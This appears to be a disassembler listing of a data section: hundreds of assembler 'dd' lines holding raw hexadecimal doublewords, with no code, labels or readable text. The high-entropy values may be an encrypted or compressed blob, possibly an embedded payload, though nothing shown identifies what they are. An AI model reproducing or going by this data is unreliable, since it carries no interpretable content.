dd 2652AA30h, 0F13200B5h, 6EC9E809h, 511FCE20h, 860153D9h
dd 0B40AD203h, 24012C30h, 80A48D46h, 82DF7F0Bh, 0AC007387h
dd 0AFEEA2ABh, 335034D0h, 9510FF98h, 434CB5B0h, 0C1121D00h
dd 16ABAE68h, 0D63B07ECh, 0E0D9878Bh, 0BF274C58h, 8147CB00h
dd 57E11435h, 0BE12073Fh, 70E47A23h, 82CAA4FBh, 72503B3Ah
dd 0FD4BD30Ch, 69C827h, 0D51D8A7Bh, 36FF2EA2h, 6B18BD60h
dd 0FC2FEF12h, 6633002Ch, 0C2B3854Ah, 490618D1h, 531FFDE5h
dd 8760000Ch, 9D3F95E8h, 0D8004216h, 0B39F685Bh, 987DB0FDh
dd 393C1DACh, 0A0F34926h, 52052980h, 0B00E0E5Bh, 4179404Fh
dd 4A01667Ch, 7D0AFE9h, 318B00F9h, 5EB872BAh, 0FE00AD77h
dd 0A8DC1589h, 785A9444h, 0C19C00A0h, 38A3C529h, 8700CCFAh
dd 0A7151458h, 90C7160h, 0A0837301h, 6B07040Fh, 61244017h
dd 3700BD10h, 27D596C4h, 3E2BE581h, 7900E22Dh, 0BB2449E1h
dd 0E0053A2h, 0BCEE8FF5h, 906E46C3h, 3C1DE4E0h, 0CA8712ECh
dd 440B3E4Ch, 1B54805Ch, 0E700D774h, 55B44E38h, 28E857h
dd 713A24D8h, 0A464ED2Ch, 6BBF9E00h, 0AD6C20FDh, 70B008Eh
dd 0EB24CDE8h, 54509787h, 0E00070B4h, 0D332433Ch, 0D73F13h
dd 0AC379A02h, 7C595D0h, 245F7C00h, 425BCC70h, 9B4F0059h
dd 0C663CE2h, 0D100362Eh, 0AAC1307Dh, 0E07BFCF8h, 373303EAh
dd 806D63B6h, 3AFB92F0h, 9E7C2C71h, 1D00DEE8h, 52E7915Ah
dd 4839CBCCh, 73E8EDh, 0EB1BE994h, 9FA21624h, 1E1CD605h
dd 53C1FBFCh, 2DD1678Dh, 18E1420h, 526EECFAh, 0E89B9184h
dd 0D400A794h, 1E42414Fh, 7FF6C3h, 0A318E096h, 0E10206FAh
dd 0AFC0920Bh, 76640070h, 0F6CED0A9h, 36D30974h, 308050D7h
dd 68880D34h, 0AF84FE50h, 2AE61000h, 8F5DD9E7h, 43C90BD5h
dd 80DDBBCEh, 8DD315DFh, 0C2FA1F7Ch, 0CF6F000Fh, 709A4457h
dd 0F50AA073h, 0DC7FD02Ah, 755C0404h, 3DE8E480h, 0FEE2443h
dd 85F30004h, 5E16DFF7h, 0B3A6F000h, 0E8DB3730h, 0DD1B006Ah
dd 62610F17h, 7200BB11h, 931F1377h, 7AB42h, 0C80EB0CAh
dd 0D7326D7h, 9D3F100h, 9D7CBBBFh, 3E3D24E5h, 660C001Eh
dd 0D2B13B06h, 0E8B26Eh, 37AC76B3h, 822458D4h, 899B7A00h
dd 0B8C54002h, 0B4553207h, 78A339ECh, 69E100FEh, 134A5A61h
dd 0EF4C9D71h, 6CBE0148h, 81BD565Fh, 878E884h, 12DD38DBh
dd 4CB6001h, 803EBAEDh, 56C82D60h, 4D809107h, 0B5E0DA4Fh
dd 9F85E92h, 2BFB2F23h, 0A23E1802h, 404BC441h, 0CB249E8Eh
dd 2C444Ch, 381495Fh, 0BC320Ch, 6A3483E4h, 9CB2E996h, 0D55CA300h
dd 6B3AC487h, 0C29B0403h, 0C04161AAh, 45E8C0B4h, 0FC58B4B0h
dd 9ECA0059h
dd 0A4F326E2h, 9209037Dh, 81C26C8Ch, 9A4BB5C8h, 8142F63Fh
dd 0BCAB1BFAh, 0DF605159h, 7FF4C12h, 2903A848h, 0B62E019Fh
dd 62F2301Dh, 520CF5A4h, 4C1920AAh, 2800689Fh, 1C7D9312h
dd 46007027h, 0F0DBE24Ch, 0CE8D23h, 0E6853CC6h, 625B71D9h
dd 0C12C54E2h, 4E00DC7Ch, 0C835B2B7h, 26B5046Fh, 0A015593Fh
dd 782EB32Ch, 0F3835873h, 55BED2h, 88281E79h, 20F7B4B3h
dd 0C09B1B00h, 53472275h, 0A53D003Bh, 8C6B39B9h, 6F00FED6h
dd 0AE9894DCh, 3308A2h, 3EA883D4h, 36B887A4h, 807AD03Dh
dd 0C39DBDF3h, 17F497h, 0AAE6A14Dh, 3C010399h, 78008970h
dd 8525BB72h, 0EDD2386Bh, 0F5AAECh, 65242DBAh, 1E6066C4h
dd 6E69A400h, 7D0DD662h, 30A11D8Ch, 52E603B7h, 86E19173h
dd 0E8007388h, 0B8B18681h, 0D7BCC180h, 0E45D6Bh, 0B2050864h
dd 3F796866h, 7E9F5C00h, 6CAF209Dh, 0A61C05D1h, 889AA1h
dd 0E9F278D9h, 0C31D06F6h, 92007B40h, 73950EE4h, 25910E35h
dd 0BA805747h, 859B3B8Fh, 7654B01h, 8B42B64Eh, 0CBE8A6h
dd 0EF5F3F45h, 7C00B233h, 929BE2CAh, 0FC485557h, 26847B2Ah
dd 80F0246Ah, 37B9BDDFh, 300143C3h, 59E05B21h, 0B37089D7h
dd 809630FEh, 0E81808E8h, 651D1F84h, 2D449A0h, 0BABD0400h
dd 8701B884h, 6CF5C314h, 5EF1924Eh, 54DDC8FFh, 5FD00268h
dd 31793F29h, 22533C49h, 7DC104F8h, 809002A3h, 12DD1EDEh
dd 410B78h, 4EBBDC28h, 0D008A93h, 357D05D7h, 73246173h
dd 0B44B001Dh, 2CE040FFh, 66507916h, 64002398h, 5A8B67C4h
dd 0F329B38h, 3F838263h, 54297560h, 680143D3h, 53D7BD69h
dd 20FB7D2Dh, 107E5099h, 1B2643F0h, 0FA002541h, 2FFC522Ah
dd 44671330h, 0C470098h, 384093C4h, 0E650F00h, 0C8EE7327h
dd 0A8BD1753h, 365800B7h, 668CADBEh, 1D4DA503h, 0CB11B439h
dd 0B030485Bh, 5D833506h, 75E2807Eh, 27D6400h, 3BA9E30Bh
dd 7867191h, 36ADA25h, 0B2C3E0ACh, 0B800E9ABh, 7BC136F4h
dd 0BCE548h, 0D8E3270Fh, 53E2EE1Dh, 60013498h, 9CA09A8Ch
dd 0B87082D3h, 7F0C02A5h, 0FAF54772h, 0F2BFF8E8h, 509F45F0h
dd 4EBC00E8h, 4B62ACADh, 612C99C2h, 8F000A16h, 664414CCh
dd 7558007Ch, 0BF6CC402h, 71755A6Fh, 677B2B00h, 9916A552h
dd 2DE88Bh, 476DCE9Eh, 876B3521h, 2F171903h, 98394E59h
dd 69FCC3h, 9FEC3252h, 4C1DFFAEh, 2BA13A07h, 40700F6Ah
dd 3ABF4BE2h, 2E80D1C1h, 0B6ED5B81h, 9B00F010h, 0DE8A183h
dd 174A5BAh, 769CA3ECh, 0F8D23F6Eh, 1C13300Fh, 0E402DD40h
dd 4059A4A9h, 77015018h, 562500E4h, 1CE94819h, 4C002A3Bh
dd 55B56077h, 0EC748CC3h, 7863DDAh, 0F8385FB0h, 0DC1C1147h
dd 6BC08204h, 6ABC87B2h, 0D87C54D0h, 5447BDAh, 0B7C24AF8h
dd 821C21Ah, 0F1E2BC40h, 5313BB00h, 2434C36Ah, 1C150162h
dd 25C6F952h, 0FCA0F295h, 584DC9BDh, 4B703600h, 47C51059h
dd 5D260098h, 6F17FA8h, 0BB012227h, 0B513015Ch, 0E0ECD180h
dd 9D9E00B8h, 6D94D81Ch, 933D19BEh, 3B4081B2h, 0A9047C2h
dd 0BD698C7h, 2F140059h, 0EABB244Eh, 0E4E4DADCh, 9C6E940Bh
dd 5A448339h, 2EDFE0BFh, 0F98100CBh, 30BB8AF4h, 0A50F1C05h
dd 0A04F9EC7h, 0F316C135h, 0E24E9Fh, 24543468h, 63482174h
dd 6DB2003Ch, 857179BBh, 4E030E1Ch, 0F065EF59h, 0ACD814FEh
dd 5525EE09h, 0C3A18800h, 6C2001AFh, 1263F07Ah, 1FA56471h
dd 0FD2C0B7h, 342BA6A3h, 101049h, 25478C44h, 1CBADFEh
dd 5F54A330h, 60A4F43Bh, 6E068764h, 0F9E11B0Eh, 0A0CE0010h
dd 2E095766h, 7501B302h, 6D907012h, 9460BECDh, 27DD02BFh
dd 9554215Ah, 80DC28E1h, 3D9B3A11h, 2A1A8Bh, 6EED7B41h
dd 682458AAh, 61701100h, 38740943h, 0B3530045h, 0AFDE6C2h
dd 0B10084A5h, 0F99DFE9Bh, 3AAD6Bh, 287BD73h, 76D02E8Dh
dd 0AB66BB00h, 6EFF1165h, 74C83B94h, 82CE5700h, 1FD3E868h
dd 40B89175h, 9964C00Fh, 0BEC280F3h, 2FEE453h, 1B3425C4h
dd 516057D5h, 0E300ADD6h, 2CFCF2EDh, 0B6FDFE5h, 0E4F08F5Dh
dd 8373D8A0h, 55E6F4EEh, 88143900h, 81DAAD9Ch, 5C96A4h
dd 51BEA9C6h, 0C700171Ch, 0CBCD7EF8h, 30712Ch, 4041E797h
dd 0DCEFA263h, 0D90025F4h, 29346AF7h, 190BDBFh, 1DAB914Ch
dd 0D8A999ECh, 0A50988BEh, 8061D6A0h, 7C134118h, 276F1C8Ch
dd 3E8AE07h, 1ECA380h, 8056103Fh, 0A98ADCBCh, 7E393606h
dd 459709D4h, 0B954EFB4h, 31DBCF00h, 28D9DC1h, 2D543A38h
dd 0E86824FCh, 0D000881Ch, 636976ECh, 4EAF9C0Eh, 86780047h
dd 4E1061F9h, 0D018C64Fh, 632390h, 5268C1FAh, 0A562E26Bh
dd 0E47D1C90h, 0B05DAC05h, 880018A0h, 1B55DC81h, 18777B62h
dd 18409FC0h, 0C8A0E990h, 0EF00B518h, 1E84D525h, 300641h
dd 0CCEE02B2h, 0A29C1324h, 67004DFCh, 0EDE10B49h, 4C7B62DFh
dd 0FB033873h, 0C5D1F0ACh, 31A219A8h, 0A4C48300h, 98266E8Fh
dd 4B250029h, 9A2EAE4Fh, 0D13C3AF4h, 4E308045h, 0A397B744h
dd 2C1F0066h, 5D998A72h, 3A004977h, 247ED67Bh, 0FAE027h
dd 0A1FC8BF9h, 14BC9D90h, 6F307200h, 615FD6D3h, 8F3F00A5h
dd 6A3593EBh, 0E8013ABDh, 12492480h, 2609A9Fh, 6FC8004Eh
dd 0E17129F3h, 0B8B80EF6h, 9CA9BF00h, 79C41253h, 479800F8h
dd 5224EA6h, 5907FEF5h, 7DFCD91Fh, 0C83D4A50h, 0C2E80099h
dd 415472Fh, 895821BEh, 80BA3ED3h, 0F5B8ABFEh, 142CD8h
dd 0E70E268Ch, 0A4DC66C8h, 139D5700h, 4EC9A0CAh, 0F2B600C7h
dd 67E05D8Dh, 0FA00FD2Dh, 6610D9DCh, 3A2CDF7h, 70ACAFDBh
dd 848007C7h, 0DE002ECBh, 443C8826h, 4D9EB2Ah, 0F56D307Eh
dd 0CD72805Bh, 8500819Fh, 1284A91Ah, 0FE8B2FC6h, 9075000Eh
dd 0A5EABE16h, 0AB0ED80Dh, 3E7602F3h, 5C28E94Fh, 0B9D71001h
dd 0C0E2C667h, 0A24E7h, 0B6659172h, 961AC47Fh, 760B9401h
dd 74418E02h, 0E251B70h, 95BB0388h, 0B0EFEBCFh, 0F6E08Fh
dd 0FBC9DF4Bh, 11E8FC26h, 28F2B500h, 2521D8F8h, 5C92008Eh
dd 0AF43EB37h, 47000607h, 4A1F73E1h, 3873F89h, 66690AB4h
dd 99000256h, 8E7F524Ch, 9A45Dh, 7974347Eh, 73495562h
dd 97A11014h, 803238E0h, 12D09F65h, 0CA516Ah, 0C5CEB449h
dd 8A7537BFh, 0C91D1890h, 703044BCh, 3012E2C4h, 4108C54Dh
dd 467CA379h, 13C2C61Eh, 475C3706h, 0D67A0110h, 78DC9639h
dd 7149D8A2h, 0CADEB000h, 1D534D61h, 0FE77030h, 0E8A7E6DDh
dd 0C687D14Eh, 33A097E3h, 80E6F2F9h, 0DF414A0Ch, 5A5923h
dd 5B432613h, 6CF112B3h, 49A95160h, 14ECC54Bh, 20E4D0DBh
dd 5B138A80h, 832A25FFh, 0FC149C77h, 0AB6066Ah, 0C84146Fh
dd 1C900E0Ah, 5B1B2200h, 3016C3CBh, 2068AB6Bh, 9878CAAAh
dd 45A38F0Bh, 1FDA0624h, 0A5FE1D6Eh, 0FA910107h, 0D047EA8Ah
dd 0CB1CA983h, 0E7007648h, 0BC2AF3B2h, 97B9000Ah, 1303D0B0h
dd 6E2FE2Eh, 0AFF87676h, 1C41CB06h, 8F8989D5h, 9BCCC104h
dd 0C610808Bh, 4662EF55h, 483B021h, 0A0B3E8AEh, 897881C8h
dd 37DEF040h, 51314E1Fh, 970CCA13h, 0F4830E4h, 6FB681C4h
dd 0BD285958h, 519EFD30h, 88AD4D34h, 0F615583Eh, 0AC040DFh
dd 988EC592h, 0EEF5FC07h, 0B15024C0h, 0CA840016h, 6D1E3DB7h
dd 0FA7E4CA5h, 25A2E8A8h, 0B3909206h, 6085763h, 6DD12326h
dd 0AC00194Ah, 0B1A0404Ch
dd 14EF9D7h, 0E0CE8D9Fh, 0CCFE98CDh, 91094B88h, 83650FA4h
dd 0C0648B56h, 0FED4C3E2h, 7AB800D7h, 1B0F3AEBh, 880155BFh
dd 0FD24A470h, 10D1C595h, 0D2396983h, 9128420Ch, 89004C8Bh
dd 90714EBh, 30A88F98h, 0DA9958Eh, 8446E3Fh, 22BD78C7h
dd 13F6FFD0h, 382FCC32h, 20748FD8h, 1AD6F723h, 1E3100EAh
dd 399EFBB7h, 0C195C251h, 51805875h, 91D3932Ch, 0EB1DF27Bh
dd 0BAC0CA9Eh, 0A6FC5FC0h, 1BA20C37h, 65940D9h, 6A00DCFCh
dd 0E0CDCBEAh, 540209h, 0A39371FDh, 0DF51E37Ah, 805FC19Fh
dd 0AB0FC180h, 0E05718E8h, 7C92000h, 41DF4999h, 0C724F2A7h
dd 63F6C089h, 21F8533Eh, 7F294B4Dh, 0A8069423h, 1518FF7h
dd 29F47A8Eh, 612F835Eh, 0F0198071h, 7DAB58FAh, 0CDED000Dh
dd 0ED4C9F6h, 4400250Bh, 41C302E0h, 0F2E919AFh, 482200E6h
dd 0D6F84D8Bh, 3F3EF6CAh, 910E30C2h, 0D4A5FF75h, 913A3858h
dd 35A40078h, 0E0EE5DA6h, 25006D8Bh, 87400877h, 7870A5F0h
dd 8E9B0786h, 41E823AFh, 0E2DECFC0h, 8A0FB400h, 609A0080h
dd 6D87D9ABh, 0EC0AFEF7h, 0E72BC903h, 4DC03000h, 5C587Eh
dd 0F1A6AE64h, 99147D86h, 8003EE39h, 8E30A13Bh, 0F4EDCFh
dd 49F6FB35h, 0F37557E8h, 46CCC100h, 0A2229BD6h, 0CB3118FCh
dd 382358EEh, 6100D3FCh, 2A1FD972h, 0E826A255h, 0AF21C0D4h
dd 8E3CD3ADh, 5703D0F0h, 0BC4467C6h, 0B760D7A3h, 5103EDh
dd 7554FF89h, 0CEDCEE29h, 40DF9830h, 0E85AE5Ch, 6B3E3490h
dd 80152AA3h, 4F9D4AC8h, 7000077Eh, 35104745h, 6022AAF4h
dd 879C38D8h, 28009E19h, 443ADEEEh, 6AAE2D2h, 0CAC9D550h
dd 837F2929h, 3B9B1E0Eh, 0B39403A8h, 7C0818A9h, 8FE320D6h
dd 0E72F1D00h, 71580799h, 2548CFC9h, 0B0746F06h, 4D967901h
dd 0AF5D8587h, 234FD081h, 0EBE493BBh, 645A1000h, 15395227h
dd 362200D6h, 98C8B2A0h, 790785ABh, 3AC484D2h, 867A6BA0h
dd 605C3B5Ah, 90C5A480h, 0EC6975A1h, 0D28E9E1Eh, 0CBACF440h
dd 6AFE5Eh, 0D0737F30h, 6CF22D95h, 0DDEB1A00h, 1EADEE2Eh
dd 3B3E3C6Ah, 85EF700h, 17DE1F0Dh, 4F853100h, 95CC6F4Ah
dd 0C8ED0F19h, 0EE40BA61h, 6434E63Dh, 3C262B02h, 0C059F45Ah
dd 75B248A9h, 16B800C9h, 529AEFDFh, 4900B16Ah, 0E9D7A2E2h
dd 30761964h, 1D0E7266h, 881CF8E8h, 90801F29h, 0AA7C585Eh
dd 9F340157h, 1AEF0E0Dh, 0B90A80D1h, 542B6188h, 4CD6008Fh
dd 7BD856DBh, 5801229Ah, 0E0483A44h, 40A7890Fh, 670389D6h
dd 0C0DF0CD9h, 754E2A2h, 2F11DD58h, 156E50FEh, 9700CFB9h
dd 0DFD31C35h, 53F29Fh, 0C4C52C8Bh, 8193C35Eh, 0F3DE9700h
dd 9EA60632h, 0FE31008Dh, 5120C15Dh, 3E00A24Eh, 8BD83D84h
dd 0F6C995h, 44A9CD74h, 0F75AA88h, 0D4C50103h, 0C08BBEE2h
dd 0A09FDD59h, 12C8AE1h, 0A715302Ah, 0F8873B40h, 38CE45FEh
dd 7CEAE0BEh, 34DCA258h, 0C0504D64h, 1EDB0C13h, 9F1FDA06h
dd 5C6955C5h, 8D0EEFE6h, 5400CCA5h, 0C5AF2F22h, 78002A71h
dd 3C3E6CA7h, 967310h, 86243146h, 70127142h, 1151E100h
dd 801C19CBh, 0BF2B00A2h, 6C24F947h, 67008A95h, 0E344E6C9h
dd 766689h, 0F0A7C3B4h, 0BB48521Ch, 95746E74h, 29C4C076h
dd 915C648Dh, 0AC0303EFh, 0B0772FE8h, 0F857A0h, 0AACB0918h
dd 49D51FE9h, 6FF64175h, 20D7B044h, 0D22590Fh, 47F710CDh
dd 0B53B113Ch, 41085221h, 0AF3A00CCh, 3357231Fh, 1534BE00h
dd 91B5D288h, 0D71D073Eh, 0F07EE6FCh, 0AD8DD19Ah, 7B92281Fh
dd 0C4CD8E40h, 0C5A368h, 0F86E503Fh, 0A917A43Eh, 0E200A07Ch
dd 0FEE5D6D7h, 3F08EBCFh, 4F1DBC8Fh, 0CD5F8159h, 0C8544E70h
dd 8307C133h, 0BFA1ECE8h, 4177EFC0h, 0FC6D0715h, 0D0E7F305h
dd 0E308ABC0h, 49F56826h, 87563400h, 0FC695D4Ch, 59C20088h
dd 509E30BFh, 5F00CD82h, 29F01195h, 0E0FBD4F6h, 0BA2F621h
dd 0F1E241C6h, 0F40051FCh, 8EB529E4h, 0B0DF0E02h, 35405EBEh
dd 2D122227h, 0B17ED2E8h, 83634C07h, 0A6A0A9E2h, 0AD26E4h
dd 2E7F3171h, 5C2F04E9h, 4FD0BE00h, 0C473D4DAh, 456A00CCh
dd 0A4DDE05Fh, 4D376C71h, 738009F6h, 638A92h, 0BAABCB3Dh
dd 0BC7649C5h, 629D0E00h, 58850A1Fh, 34AF00E5h, 7C44E35Eh
dd 0D66079D2h, 8BEF0810h, 781D070Bh, 9066046Eh, 11AB77CBh
dd 8DBFD100h, 0E6154446h, 241DF88Eh, 5685E2h, 0B565E7F6h
dd 35004C8Ch, 0F5315270h, 36AF20h, 0CABED0F4h, 320C83DFh
dd 1DB54000h, 0FDE271B8h, 0F75A0797h, 408D2C9Bh, 0CCB1297Ch
dd 0D03E400h, 50B8580Ah, 676E0043h, 61EAF66h, 5E1E21A0h
dd 590A8B2Eh, 1303CC33h, 900A7B1Bh, 9B096Eh, 115BE39Fh
dd 0BA696B59h, 0B8D2EB00h, 0C4BE0839h, 7DDD3CD7h, 81540700h
dd 4BC77323h, 82FB9A3Eh, 7BF0750Bh, 0E3344835h, 0FE7D0030h
dd 5DB4DD5h, 3270E60Bh, 7BFCB800h, 54825856h, 810630A7h
dd 0FD4AC2F8h, 501DEF00h, 0FF76BB0Fh, 0EDB30049h, 691BD9C0h
dd 1500F4AEh, 7D4034ABh, 4888B7A3h, 3F08347Bh, 480F3170h
dd 22E0C16Ah, 0EE707F87h, 66D09561h, 6D6C5D00h, 0ACF9E2E8h
dd 0E6330F9Bh, 9DC01E52h, 0C6B1E7F0h, 0B03AE3FAh, 0DB51002Dh
dd 3AB2B837h, 0C0AF0081h, 8EA6B96h, 0D7008F70h, 0FA653EEBh
dd 9BB329h, 28CDD2F2h, 5AF0CEF5h, 70874C5Bh, 93694F20h
dd 85DE0043h, 17F4C272h, 8F002190h, 0FE655770h, 6D688Ah
dd 80919AAFh, 727AFCD8h, 0D700E6FCh, 0E355A15Bh, 12ED063h
dd 0DC04A714h, 0C4374071h, 0EE0057EAh, 0DE283BA2h, 7BE5D03h
dd 627F9705h, 1EE400B9h, 0F80A355Eh, 903256EFh, 0D4936B02h
dd 0E89EE34Fh, 3A461Bh, 92942CEBh, 0E927BB15h, 0E000CDF4h
dd 110643EDh, 2B4024h, 0A29E0179h, 5825D01Fh, 6252EF00h
dd 0F6CCB330h, 8A0407A0h, 5E20CD3Dh, 287EDF40h, 9103A96Ah
dd 4779DB9Ah, 9B3FA31Bh, 0A6180F26h, 1A6022A3h, 0E0CF003h
dd 28F58100h, 2693539Fh, 0B2681D42h, 97620095h, 3BCBB0C5h
dd 0EE66E200h, 0BC5699CDh, 2CF30173h, 8667187Fh, 544AF882h
dd 0C1586B01h, 0AC3D056Ah, 0BC86860h, 0FFCABA9Eh, 4E83D380h
dd 0D8005E46h, 9718E4E0h, 3C119Ah, 406B45B5h, 9A877FEh
dd 0AF9C2102h, 0C0C297D8h, 621E01h, 3090BE98h, 0B736E135h
dd 5B09BB00h, 0BDDB2468h, 0EBD30007h, 30BC01A6h, 25017FF1h
dd 8E19201Fh, 9CEC6029h, 81660127h, 0FE0D09C7h, 21836F7Bh
dd 46B7F112h, 3F5686F8h, 41FFDCDh, 3738FA11h, 0F83AE100h
dd 938D13D3h, 0E4CC90Bh, 36D0807Ah, 7CE835F6h, 9B4B01DCh
dd 6874D166h, 4544E486h, 0BC171307h, 0E82059A6h, 31BF827h
dd 0B6E9630h, 0C7C0A30Fh, 70002BADh, 0BA03FCD1h, 1ECCE314h
dd 0C05E6C3Fh, 0AFB5DEA4h, 2C00AD10h, 2D2E8A63h, 1F8F9BDFh
dd 0C3691691h, 1121AC4Ch, 0DD1EB9E0h, 6090D600h, 8BE157F6h
dd 0BC9D007Eh, 321DDB21h, 0B0077A9h, 2BB62298h, 9FDB546h
dd 27256F5Dh, 53760C01h, 50986155h, 3911F714h, 2CFAB800h
dd 208B4392h, 0FE4703C2h, 72131828h, 0B80328E6h, 5F27B038h
dd 0C1C89355h, 9DFCA361h, 3EC5015Eh, 921D06F4h, 4ED0421Fh
dd 7C349A40h, 0AF9B900h, 0C6765AEFh, 0F6FF621h, 0E7BC0FEAh
dd 0C05447A0h, 2500F0E3h, 0C69531EFh, 5C1B946Bh, 3B00FD99h
dd 0CD1A815Eh, 2002B99Dh, 0FAC097B8h, 6604824h, 0CCF80074h
dd 439516D6h, 0E50069ACh
dd 97911E87h, 1D4B63F7h, 0C0998B73h, 3DBAED9Fh, 0A1F94DEh
dd 0D980D4C4h, 6BA032A5h, 60B46001h, 86C9CC7Bh, 35EE1200h
dd 0DBD74A79h, 5DDA0009h, 7D07B126h, 0B800645Ch, 1EEFCA16h
dd 0FC6ECDh, 0BC3C75A4h, 0E4ED9880h, 8B2B4700h, 8F7417C2h
dd 7EDB1C88h, 816F9F87h, 9375607Ch, 0D92C423h, 0EC31F300h
dd 3CA3E8E1h, 608E393Eh, 0C0D69E1Fh, 16D5EA2Ch, 0EF0E52CEh
dd 0BD29DD93h, 90B0CC00h, 4B0743h, 6202DC7Dh, 0A0EDDA89h
dd 0A7153200h, 0EE529FF4h, 20100068h, 7C95F2A2h, 9E3839F7h
dd 32D4D01Dh, 76932700h, 823558A7h, 33D90053h, 0DCD4C562h
dd 393EF3E6h, 8073BC43h, 7C57A7CCh, 0D8D52Ch, 0FB08C75Dh
dd 6E4FE41Eh, 9E85C404h, 23401664h, 77F8800Ah, 0ED2EBAE4h
dd 4D09A5A1h, 0AE5880E1h, 246C74EAh, 0A703C3h, 96811C31h
dd 0FB008CA1h, 4028A467h, 0FA8066A7h, 1E900B0h, 0CF23385h
dd 0A3B923Dh, 0B10200F9h, 0A6225D31h, 1DEAA006h, 73B80077h
dd 3AF2FAA2h, 7E00FCC0h, 933BE53Ch, 76D1BBDh, 0E3068A71h
dd 0DC4FB0A0h, 0B80042BFh, 9B882D55h, 1102E5Ah, 65F10FB4h
dd 0EC1EF994h, 2F626C51h, 0DFED3718h, 0BE91C360h, 7F747A1Eh
dd 8B35817Fh, 4DBB4480h, 0F823B13Fh, 0FE0028CBh, 55C2A616h
dd 0D73C83h, 9801DDA9h, 1EB7E62Fh, 0A661C638h, 470017AEh
dd 0C1B65822h, 0AF76034Eh, 280CCC21h, 8016B4A8h, 5DEDC4FFh
dd 83615800h, 0D357D16Eh, 1CE62F7Fh, 14260256h, 0E0CA1E00h
dd 9BD89Eh, 0F6A5D62Dh, 0C68DB8A7h, 92C72300h, 41964589h
dd 7C640F6Ah, 44009C09h, 95F73094h, 9F4AFA03h, 0F76BF90Dh
dd 7673007Bh, 7D42EC8h, 0D59CD0F3h, 5C75B0B8h, 850070F0h
dd 4404A255h, 9034CF6Dh, 0D0DC00EAh, 7E2C93B4h, 2B00D45Ah
dd 79C5EB97h, 0CA7AFF9h, 5BF2529Dh, 0A4399C38h, 81B7BB27h
dd 24A676F7h, 26EC6CFCh, 0B08200FEh, 623CC4C1h, 0E80E9139h
dd 40D5A505h, 0CB9E7918h, 116B0055h, 783D5BF7h, 4AEA7C0Bh
dd 0B6924C00h, 8228FFDAh, 1EE903A9h, 2ED5C84Bh, 43A45E98h
dd 1F3A240Eh, 0B749222Bh, 2708C014h, 46E001D3h, 0AD797501h
dd 63942024h, 13A89052h, 800F847Dh, 3E11E035h, 15ECA37h
dd 0BBAA0DB5h, 0D0690A4Bh, 2002947h, 0CDC11418h, 0A8AEB2h
dd 9DD8A777h, 22052BFDh, 80079F3Ch, 0B1406C7Fh, 4859323Dh
dd 0AD0158B7h, 22E40271h, 0A23EFC6Ah, 0A187D0FFh, 8F344801h
dd 0FACBD15Eh, 497C20h, 0AC451D7Bh, 4B23D31Ch, 9A86E900h
dd 10EE9DD6h, 7841076Ch, 705FABDFh, 0D02EE7A8h, 0F1040F0Eh
dd 9C9B60DCh, 0CC9069Dh, 857AAAFBh, 69483470h, 0EA8D1D00h
dd 4B947E00h, 35E21Eh, 44A2CAFh, 34CE4728h, 5B9BE600h
dd 45DFECFAh, 0DC980117h, 529F4A2h, 0CE2149h, 51164CA6h
dd 0FD318900h, 0B5BDE785h, 0C43E0F52h, 11400AC7h, 7932ECC9h
dd 0BACD5Ch, 0AA8FC529h, 4B4752Dh, 5746104Dh, 0D318C0B7h
dd 4A0180C8h, 2951AAB9h, 0BCE4D59Bh, 0EFE00010h, 0CF364875h
dd 0BE00CB39h, 0A16EF604h, 0B0072BC1h, 5DBF028Ch, 0ECF2567Ch
dd 487E0480h, 0EDB852F4h, 0EB147301h, 611829A0h, 9E60D9F9h
dd 1642FABAh, 40816D93h, 0B19B0FC8h, 8007CB14h, 3E721677h
dd 266C19C0h, 1B5E1F82h, 0EFB5006Ah, 0DDCE47Bh, 0C4361200h
dd 55C3507Eh, 0F3870063h, 8031FCC8h, 667EA9E4h, 590FB18h
dd 723EA8h, 0C264B85h, 60D6B85Eh, 47454F00h, 0F6B58180h
dd 0B4200B9h, 0BBC2393Fh, 60F5E9A1h, 6B001B07h, 9DE89B37h
dd 40F3BBDh, 0BFE67491h, 8D88804Dh, 0E89938A6h, 7BC3DA80h
dd 74E4CF6Eh, 0AE4B00BCh, 82CA69E7h, 74001A9Ah, 184726FDh
dd 0EC07E4E8h, 0A2DA0157h, 0DEE54551h, 0DDCFE0ABh, 7A59A101h
dd 27A5BD1Bh, 462070h, 0A968A875h, 4BED3ACDh, 3E7883Dh
dd 0C08B8A2h, 0FDFEC0F5h, 3A040C50h, 2AA0CF6Ah, 0C6E3A800h
dd 0C3B9C072h, 994500ABh, 9CA1302Bh, 4C00DABAh, 893C4324h
dd 0C0CCF348h, 0E259C0C4h, 450F195h, 0D0005EA0h, 0F2C6A8D1h
dd 779701h, 71A76C42h, 16F8A1E6h, 0DB632200h, 1BE451A0h
dd 99AF0740h, 0E0756428h, 3F443B91h, 0ED5A200Bh, 0F94D83ACh
dd 0ADA00654h, 0F0DCF57Dh, 0BD0EB97Ah, 80BEC01Dh, 0B4EF3451h
dd 0F0D9132Ah, 7EC80095h, 59E8E9BFh, 0BAE4491Ch, 0F22C5B81h
dd 2BE016EBh, 0DF26092Eh, 1C80217Eh, 311E9A91h, 35D81F09h
dd 6AA400C6h, 2816B14h, 5604BF38h, 0AE015E8h, 0F7603E0Fh
dd 5FC63D20h, 0FEB11F25h, 0C71DC04Fh, 0AB38CA3Fh, 84FDA424h
dd 0E71E1206h, 2C88B056h, 74470B5h, 20D58C22h, 8AADCE61h
dd 2A98F462h, 2474E0F1h, 987960C8h, 4A900FAFh, 39F26118h
dd 389F5E88h, 7900E9E4h, 0B13CD52Eh, 24036186h, 3605024Fh
dd 0B5603F09h, 8F946387h, 796E80AEh, 0D21E5A29h, 0D641209Bh
dd 4E037AECh, 5EF441F2h, 48C664E8h, 3900C09Ch, 77014A6h
dd 7700167Ah, 0F9E7A9E5h, 775242DEh, 88F2C06Ah, 5F1EDAE8h
dd 13CB40BDh, 56913012h, 0DF73C20h, 0FF337B00h, 0EA6E9A3Fh
dd 0BCDD0549h, 0E326A2h, 399012D0h, 1D005E93h, 0D46A8A7Dh
dd 0E16ECE9h, 4A344201h, 1498A9E0h, 0C42C5C6Ch, 0E81FBCD8h
dd 1C6E9105h, 0E0E64E80h, 4FB80073h, 0EF5F84CDh, 0F37C04D1h
dd 8035F400h, 99FAAB8Ch, 0CC1100DEh, 0C47D1E03h, 92006D24h
dd 0A870134Ah, 0F6C97A01h, 0B0ED002Eh, 9198181Ch, 1102784Bh
dd 38FA0D8Bh, 86484024h, 181500EAh, 2F84741Dh, 3F07F5B2h
dd 4C39279Ch, 0CDFFD730h, 0D1B817B6h, 2BC8008Dh, 28294852h
dd 0D2930700h, 801A67C5h, 0CB12395Ch, 0D8B0FDB9h, 94E04EB8h
